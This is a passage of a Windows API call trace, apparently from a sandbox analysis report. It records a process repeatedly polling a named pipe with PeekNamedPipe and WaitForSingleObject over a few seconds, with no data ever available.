dwMilliseconds=0x14) returned 0x102 [0088.714] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.714] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0088.748] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.748] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0088.782] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.782] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0088.806] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.806] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0088.839] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.839] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0088.869] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.869] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0088.902] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.902] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.133] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.133] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.151] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.151] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.182] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.182] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.212] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.212] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.244] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.244] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.275] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.276] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.307] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.307] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.337] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.337] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.370] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.370] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.401] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.401] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.431] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.431] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.461] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.462] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.494] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.494] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.524] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.524] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.556] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.556] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.586] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.586] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.619] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.619] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.649] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.649] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.848] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.848] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.871] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.871] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.900] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.901] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0089.930] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.930] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0090.565] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.731] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0091.210] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.212] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0091.240] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.240] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0091.652] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.945] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0091.974] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.979] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0092.211] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.211] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0092.547] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.548] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0092.566] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.566] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0092.597] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.597] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0092.928] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.269] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0093.774] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.777] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0093.799] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.800] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0093.829] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.830] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.234] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.244] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.310] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.310] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.384] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.384] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.556] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.556] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.578] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.578] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.613] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.613] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.641] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.641] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.677] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.678] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.703] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.703] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.734] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.734] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.766] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.766] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.798] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.798] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.829] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.829] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.859] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.859] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.890] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.891] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.921] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.922] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.953] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.953] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0094.984] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.984] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.015] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.015] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.070] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.070] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.093] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.093] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.308] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.308] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.328] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.328] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.391] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.391] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.421] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.421] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.452] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.452] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.483] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.483] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0095.514] 